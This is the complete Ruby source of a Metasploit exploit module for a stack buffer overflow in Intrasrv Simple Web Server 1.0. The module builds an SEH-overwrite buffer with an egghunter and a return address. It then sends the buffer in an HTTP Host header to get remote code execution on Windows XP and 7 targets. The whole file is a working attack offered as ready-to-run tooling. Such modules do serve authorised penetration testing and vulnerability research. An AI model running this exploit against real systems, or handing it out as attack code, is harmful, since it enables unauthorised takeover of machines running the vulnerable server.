107 lines
3.1 KiB
Ruby
107 lines
3.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ManualRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Egghunter
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def initialize(info={})
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super(update_info(info,
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'Name' => "Intrasrv 1.0 Buffer Overflow",
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'Description' => %q{
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This module exploits a boundary condition error in Intrasrv Simple Web
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Server 1.0. The web interface does not validate the boundaries of an
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HTTP request string prior to copying the data to an insufficiently sized
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buffer. Successful exploitation leads to arbitrary remote code execution
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in the context of the application.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'xis_one', # Discovery, PoC
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'PsychoSpy <neinwechter[at]gmail.com>' # Metasploit
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],
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'References' =>
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[
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['OSVDB', '94097'],
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['EDB','18397'],
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['BID','60229']
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],
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'Payload' =>
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{
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'Space' => 4660,
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'StackAdjustment' => -3500,
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'BadChars' => "\x00\x0d\x0a"
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['v1.0 - XP / Win7',
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{
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'Offset' => 1553,
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'Ret' => 0x004097dd #p/p/r - intrasrv.exe
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => "May 30 2013",
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('RPORT', [true, 'The remote port', 80])
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])
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end
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def check
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begin
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connect
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rescue
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print_error("Could not connect to target!")
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return Exploit::CheckCode::Safe
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end
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sock.put("GET / HTTP/1.0\r\n\r\n")
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res = sock.get_once
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if res =~ /intrasrv 1\.0/
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return Exploit::CheckCode::Appears
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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# setup egghunter
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hunter,egg = generate_egghunter(payload.encoded, payload_badchars, {
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:checksum=>true
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})
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# setup buffer
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buf = rand_text(target['Offset']-126) # junk to egghunter at jmp -128
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buf << hunter # egghunter
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buf << rand_text(target['Offset']-buf.length) # more junk to offset
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buf << "\xeb\x80" + rand_text(2) # nseh - jmp -128 to egghunter
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buf << [target.ret].pack("V*") # seh
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# second last byte of payload/egg gets corrupted - pad 2 bytes
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# so we don't corrupt the actual payload
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egg << rand_text(2)
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print_status("Sending buffer...")
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# Payload location is an issue, so we're using the tcp mixin
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# instead of HttpClient here to maximize control over what's sent.
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# (i.e. no additional headers to mess with the stack)
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connect
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sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n\r\n#{egg}\r\n\r\n")
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disconnect
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end
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end
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